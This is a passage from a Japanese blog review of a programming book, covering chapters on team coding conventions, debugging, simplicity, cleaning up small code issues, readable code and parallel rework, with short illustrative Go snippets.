Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\"invalid payment: %w\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\"failed to deduct balance: %w\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\"failed to create transaction: %w\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\"process failed: %w\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\"Error occurred. Initial state: %+v\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践していくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 0}このような単純な関数に対してコメントを追加するのは、かえって可読性を下げる可能性があります。命名の重要性著者は、適切な命名の重要性を強調しています。これは、コードの自己説明性を高める上で最も重要な要素の一つです。私の経験上、適切な命名は、コードレビューの効率を大幅に向上させます。例えば、あるプロジェクトでは、変数名や関数名の命名規則を厳格に定め、チーム全体で遵守しました。その結果、コードの理解とレビューにかかる時間が大幅に削減されました。Golangでは、命名規則が言語仕様の一部として定義されています。例えば、パッケージ外からアクセス可能な識別子は大文字で始める必要があります。これにより、コードの意図がより明確になります:type User struct { ID int // パッケージ外からアクセス可能 name string // パッケージ内でのみアクセス可能}コードの構造化と整形著者は、コードの構造化と整形の重要性についても言及しています。適切に構造化されたコードは、読み手にとって理解しやすくなります。この点について、Golangはgofmtというツールを提供しており、コードの自動整形を行うことができます。これにより、チーム全体で一貫したコードスタイルを維持することが容易になります。まとめ「Let Your Code Tell Its Own Story」という原則は、現代のソフトウェア開発において重要です。特に、チーム開発やオープンソースプロジェクトでは、コードの可読性と自己説明性が、プロジェクトの成功を左右する重要な要因となります。Golangの文脈では、言語自体が読みやすさと簡潔さを重視しているため、この原則を適用しやすい環境が整っていると言えます。しかし、それでも開発者の意識的な努力が必要です。最後に、この原則は単にコーディングスキルの向上だけでなく、チームのコミュニケーションの改善にもつながります。コードが自らの物語を語ることができれば、チームメンバー間の理解が深まり、結果としてプロジェクト全体の生産性が向上するでしょう。この章から学んだ最も重要な教訓は、コードは他の開発者(そして未来の自分)に向けて書くべきだということです。これは、日々の開発の中で常に意識し、実践していく必要があります。Rule 19. Rework in Parallel第19章「Rework in Parallel」は、大規模なコードベースの改修に関する重要な戦略を提示しています。著者は、並行して新旧のシステムを動作させることで、リスクを最小限に抑えつつ段階的に改修を進める方法を詳細に解説しています。この章を通じて、著者は大規模なリファクタリングや機能追加におけるベストプラクティスを示し、ソフトウェア開発の現場で直面する現実的な課題に対する洞察を提供しています。Go言語による並行処理作者:Katherine Cox-BudayオライリージャパンAmazon並行リワークの必要性著者は、大規模なコードベースの改修が必要となる状況から話を始めています。例えば、チームでの開発や、長期にわたるプロジェクトでは、単純な「チェックアウト→修正→コミット」のモデルでは対応しきれない場合があります。特に、他の開発者との協業が必要な場合や、改修作業が長期化する場合には、従来のブランチモデルでは様々な問題が発生する可能性があります。私自身、過去に大規模なマイクロサービスのリアーキテクチャプロジェクトに携わった際、長期間のブランチ作業による問題を経験しました。メインブランチとの統合が困難になり、結果として予定以上の時間とリソースを要してしまいました。著者の指摘する問題点は、現実のプロジェクトでも頻繁に発生する課題だと強く共感します。並行システムの構築著者が提案する解決策は、新旧のシステムを並行して動作させる「duplicate-and-switch」モデルです。この方法では、既存のシステムを変更する代わりに、並行システムを構築します。新システムは開発中でもメインブランチにコミットされますが、ランタイムスイッチによって制御され、最初は小規模なチームでのみ使用されます。このアプローチは、Kent Beckの「For each desired change, make the change easy (warning: this may be hard), then make the easy 